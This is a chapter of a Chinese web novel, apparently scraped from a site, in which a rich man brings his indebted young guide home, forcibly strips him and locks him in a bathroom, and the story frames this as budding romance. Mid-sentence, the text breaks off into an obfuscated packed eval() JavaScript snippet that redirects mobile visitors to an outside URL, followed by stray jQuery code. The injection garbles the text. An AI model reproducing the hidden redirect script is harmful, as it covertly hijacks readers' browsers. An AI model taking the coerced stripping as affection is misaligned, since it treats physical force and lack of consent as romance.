麦因抱着花恍惚地回到病房。直到爸妈提醒,他才想起来忘记接热水了。
打开水龙头,冒着白气的热水哗啦啦冲下来,麦因手扶着壶,心里想着事,飞溅出的水珠在他手背上点了几颗“红痣”。
李果先生为什么突然对他这么好?虽然他之前人也很好,但从没对他这么亲昵过,还会时不时吼他两句。脾气比黎亚的雨季还阴晴难测。
可他今天……变得好温柔。还给他带了花。麦因回忆起刚刚李果的打扮,那张英俊的脸朝他微笑,磁性的声音说出的关心话,很容易让人,让人……唔!
瓶满溢出的水烫了他手指头。
麦因赶紧关上水,忍着痛把瓶盖盖好。
这种小烫伤他起初没在意,第二天就鼓起了水泡,晶莹剔透像枚青蛙卵。他怕疼,迟迟没有捅破。
直到出院那天,李果派了司机去接他们一家。
麦因的爸妈没坐过这么高档的小汽车,崭亮的车身一尘不染,仿佛摸一摸就会把它碰坏,比巧克力蛋糕还脆弱。坐上去也是如坐针毡。
麦因的母亲每次想打量车内部的装饰,都要先偷偷瞄一眼后视镜。他的父亲,刚做过手术,还患有腰椎突出,时常疼得只能躺在床上,这时也强挺着支起身子,目不斜视。他们心里认为的“从容体面”是没有表情的,所以二人全程板着脸,连笑都不敢笑一下,在这个合该欢喜的日子。
麦因也很苦恼。李果对他的好意让他愈发不安。如果只是借钱,钱是有数的,他还能在本子上记一笔,知道自己该还回去多少;但这种贴心的安排和照顾,无法用钱来衡量,麦因想不到要用什么来报答他。他一无所有。
“麦因先生,我在这里等你。”
汽车停到巷子口,再往里路太窄,车开不进去了。在下车后,司机对麦因微微欠腰,提醒他,“老板也在等你,不要让他等太久。”
麦因难为情地看向互相搀扶往家走的爸妈,“我能不能跟李果先生说今天请假,明天再去。”他双手合十,恳求道:“拜托您了。”爸爸刚出院,他想多陪他们一天。
司机摇摇头,“抱歉,我只能听老板的。老板让我接你回去。”
话已至此,麦因丧气地垂下头,他不喜欢让人为难。这样的性格只会把所有困窘导向一种结果,他退一步,或是再退一步......
回到家将父母安顿好后,麦因一点没耽搁,连衣服都没换。他忙着把新买的手机交给父母用。他们不认字,不能给他发短信,不会说话,也没法通过手机聊天。
但有了手机,至少他们能及时联系到他。他们约好了,连打三通电话意味着紧急情况,麦因必须第一时间赶回家。
重新回到车上,麦因心情复杂。他清楚自己是李果在黎亚的地陪,而且迄今为止他并没有真正为他工作过。他还欠了他一大笔钱,李果想要见他天经地义、无可厚非。
可他还是沮丧。
直到亲眼见到李果...
李果这次回来没再住酒店,他买了一栋独立别墅。
黎亚国一直都有别墅,哪怕是战事最紧张的时候。别墅只坐落在政府军戒备最森严的“绿区”,俗称安全区,里面沿河湾的第一排建筑是各国的大使馆。李果买的别墅与它们仅一路之隔,街区里住的都是达官显贵。
麦因从没在黎亚国的其他地方见过这么多小轿车,还有吉普车。它们鱼贯汇入宽敞平坦的柏油路,在等红绿灯时还会聚到一起。这太罕见了。非绿区的路上没有堵车,拥堵的永远是冒黑烟的摩托和街两边的行人。
绿区的道路两旁全是绿茵茵的青草地,和被修剪成球状的灌木,人行道上干净得连一片落叶都没有,更没有烟头、针管,和男人吐的痰。
麦因想起了颂歌里的天堂。他知道这世界有天堂,但他没想过天堂就在黎亚存在。他在这片土地出生长大十八年,这片街区陌生得仿佛他身处在另一个国度。
他小心地碰触院子门口种植的观赏性绿篱,他没见过这种树上开满小蓝花的植物,看起来像假的。
“麦因先生,进去吧。”司机把院子门打开,提醒道。
“哦,好。”麦因赶紧小跑两步走过去。
院内也是种满了五彩缤纷的花卉,一条鹅卵石子铺成的步道,车库里除了接他来的小轿车,还有一辆黑色吉普。“人”字形的车标麦因还是认识的,是梅赛德斯。
“嘘,安静一点,别说话。”
麦因刚站到门口,李果就跟他比了个噤音的手势。他正在打电话。
麦因懂事地点了两下头,他看向干净得光可鉴人的大理石地面,默默地把鞋脱到了门外,然后才关上门。
李果嘴上在打电话,目光则一直盯着他的一举一动。他看见麦因的黑色袜子破了两个洞,他的大拇脚指从洞里钻出来,正探头探脑地观察他的家。
李果皱了眉,示意麦因站那别动,走进书房,他用另一部手机给许泽发了条信息。
挂了电话后,李果就安坐在书房的椅子上,没再出去,也没和麦因打招呼,继续忙他自己的事。
麦因局促地站在门口,两手下意识地勾在一起不停拧巴着。大理石的凉意穿透袜子,冰镇他整个脚底,像只狡猾冰冷的蛇从脚心钻进他身体里,炽热的天气,他抱住胳膊打了个哆嗦。
春夏秋冬,冷热交替,于李果来说没什么影响。他在家只过一个季节,他自己的季节,温度22℃,湿度50%。
但这温度,对体质耐热不耐冷的麦因来说,凉得像是秋天来了。他在屋外也只过一个季节,夏季。黎亚长夏无冬,没有四季,只分干湿两季。
麦因站了大约一个半小时,李果才从房间里出来,一脸不耐地朝他走过来。
“把袜子脱了扔掉,直接穿拖鞋。”
麦因低头看自己的两只脚,赧然地蹲下身,把袜子扒下来,两只叠好塞进裤子口袋里,一边一个。他不想扔,袜子他每天都换洗,这双才破了一个洞,缝一缝还能穿很久呢。
李果看见这一幕只觉得气血上头。
“我再说一遍,扔了!”
麦因摇头,坚持道:“我回家用线补好还能穿的。”
真是听不懂话。李果翻了个白眼,他本来想打电话让许泽带麦因去理理头发、买买衣服,把人弄干净利索了再给他送回来。但许泽去矿上了,一时半会儿回不来。
他懒得再废话,大踏步走过去,趁人没有防备,大手一把钳住麦因两只手,抓犯人似地把麦因往墙上一推,着手扯他的裤带。
“不要!”麦因猛烈地挣扎起来,像只被绑架的小鹿,乱蹬着四肢,“放开我!”
他一乱蹬人就失去平衡站不住了,李果干脆把他摁倒在地上,膝盖压死他的背。麦因只觉得胸口发闷,眼前一黑,喘不过气来。
他不乱动,裤子几秒钟就脱下来了。李果也松了手,两手一提把他上衣一块扒下来,和裤子凑一堆儿,等会儿让扔垃圾的撇远点。
麦因蜷缩双腿,手还在不断推拒李果,他被这场突发的“暴/力”吓得双眼含泪,一时间连话都说不清,只会喊“不要”。
李果不废话。和一个话痨解释这些太费劲。也没什么好解释的,他收了他那么多钱,又来到他家里,是个智商正常的人都该想到他肯定“有利可图”。也就是天时地利,加上他最近心情好,不然麦因这样的,他还看不上呢。
李果一把拉起光/溜/溜的麦因,后者拼命反抗,但力气小得根本不够看,只能任
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383280|168493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
由李果连推带扯地将他塞进浴室的浴缸里。
“洗!”李果被他闹得一脑门汗,麦因反抗这么激烈让他心里很不痛快,摁着他肩膀恶狠狠地警告他:“洗干净了,一个小时之后再出来!”
他“砰”的一声关上门。
麦因开始疯狂砸门,“李果先生!放我出去!李果!”
好半天没人响应。麦因嗓子都喊哑了。他抱着膝盖蹲到地上,忍不住地呜咽出声。
过了一会儿,他又敲了敲门,喊李果的名字。依然是没人过来。
麦因绝望地转头看向黑灰色的浴缸。他知道如果他不洗澡,李果是绝不会放他出去的。
他颤抖着腿迈进浴缸里,刚才短暂发生的一切已经让他手脚冰凉。哪怕这浴缸的材质是块天然石头,他坐在里面也丝毫感觉不到冷了。
水龙头打开就是合适的温度。麦因一边掉眼泪,一边用热水拼命搓洗自己的皮肤。他不脏的。他经常在夜里用井水打湿毛巾擦洗自己,他真得一点都不脏的。
李果也不是嫌他脏。他就是觉得麦因活得太糙了,跟这个城市一样,总是土里土气的。他不喜欢他身上那股尘土味,他李果身边不能站一个“土包子”。
他掐着表,约莫一个小时左右,拿着一套干净的衣服走到浴室,打开了门。
门内,麦因裹着一条浴巾坐在台阶上,看见门开,他倏地站起来。
“衣服换上再出来。”李果瞧他眼睛湿漉漉的,想起刚刚他好像哭了。他又没把他怎么着,一个大男人哭什么。
他“呵”了一声,催促道:“快点啊。”
麦因抓起衣服就往身上套。在阳光下被扒.光的羞耻和屈辱伤害了他的自尊心。穿袜子时他的手都在抖。
等他出来,李果坐在沙发上好整以暇地端量他,“这才对嘛。你看你平时穿的,不知道还以为你要去捡破烂呢。”
麦因被他说得脸涨红。与身上这套柔软轻薄白色休闲装相比,他的衣服的确破旧又粗制。
可再不堪那也是他自己的衣服。
麦因朝他伸手:“我的衣服呢?”
“扔了啊。”
“为,为什么扔我衣服?”
李果不耐烦,“哪有为什么。你那衣服跟抹布似的,早就该扔了。又不是不给你衣服穿。”以后他的衣服都得他来安排。
“少废话!你过来!”李果没好气地招呼他。
麦因没动。
李果盯着他眯起眼睛,“你不会是打算,让我请你过来吧?”
刚刚李果扒他衣服之前也是这种神情。麦因不禁打了个寒颤,男人的眼睛很好看,但也很危险。他低着头磨蹭过去。
李果扯住他胳膊,让他坐下来。
“伸手!”
麦因不解地伸出双手。
只见男人打开了旁边准备好的的小白箱,从里面拿出棉签和碘伏。李果用棉签蘸了点药水,涂在麦因起泡的手指上。
刚才麦因乱闹腾,还挥手要打他,混乱中他打眼就瞟见那有个水泡破了。
“怎么弄得?”李果问他。
麦因注视他,兀地抿紧嘴唇,他眼眶渐渐泛红,肩膀轻微地颤抖。几息之间,这种颤抖蔓延至全身,他用胳膊挡住眼睛,控制不住地哽咽出声。
他知道,李果喜欢他。
那天李果离开后,他给许秘书打过一个电话。在电话里,许泽告诉他,在他们国家看望病人也不会带玫瑰花。玫瑰只有一种功能,就是送给喜欢的人告白。
麦因承受不了这份喜欢。
他不喜欢男人。
他还答应过爸妈会在他们活着的时候,让他们当上祖父祖母。
“李果先生....对不起。”